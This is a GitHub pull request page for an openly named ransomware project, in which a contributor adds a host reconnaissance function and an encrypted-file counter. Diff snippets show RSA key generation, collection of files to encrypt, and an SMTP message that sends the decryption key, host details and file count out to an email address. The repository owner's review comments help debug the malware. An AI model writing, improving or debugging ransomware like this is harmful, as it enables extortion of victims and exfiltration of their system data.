Add Function "Recon" and Added Encrypted File Count#2
Open
ghostwalkr wants to merge 2 commits intoNullArray:masterfrom
Open
Add Function "Recon" and Added Encrypted File Count#2ghostwalkr wants to merge 2 commits intoNullArray:masterfrom
ghostwalkr wants to merge 2 commits intoNullArray:masterfrom
Conversation
NullArray
requested changes
Jun 9, 2020
| if SMTP == True: | ||
| key = RSA.generate(2048) | ||
| exKey = key.exportKey('PEM') | ||
| hostinfo = recon() |
Owner
There was a problem hiding this comment.
Indentation error also you will need to process the dict to an actual array of strings.
| files_to_enc.append(os.path.join(root, file)) | ||
|
|
||
|
|
||
| encrypted_count = str(len(files_to_enc)) ## Get a count of the encrypted files |
Owner
There was a problem hiding this comment.
you can't str(len(array) str sets the type to string, you are looking at an array here files_to_enc . This will throw a type error.
| encrypt_file(key, in_filename) | ||
|
|
||
| def select_files(): | ||
| global encrypted_count |
Owner
There was a problem hiding this comment.
Please use method arguments instead of global variables when not returning in a particular method.
| TO = ["address@gmail.com"] | ||
| SUBJECT = "Ransomware data: "+str(ts) | ||
| MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey) | ||
| MESSAGE = """\Client ID: %s Decryption Key: %s Host info: %s Number of encrypted files: %s""" % (ID, exKey, str(hostinfo), encrypted_count) |
Owner
|
Thank you for your contribution. Let's first get some of these issues resolved. After which i will consider the merger alright? |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
I added a function to do some basic information gathering on the host. It gets os name, hostname, user the ransomware was run as, etc. Also added a counter for the encrypted files. The information gathered by these two new things is sent with the decryption key via SMTP.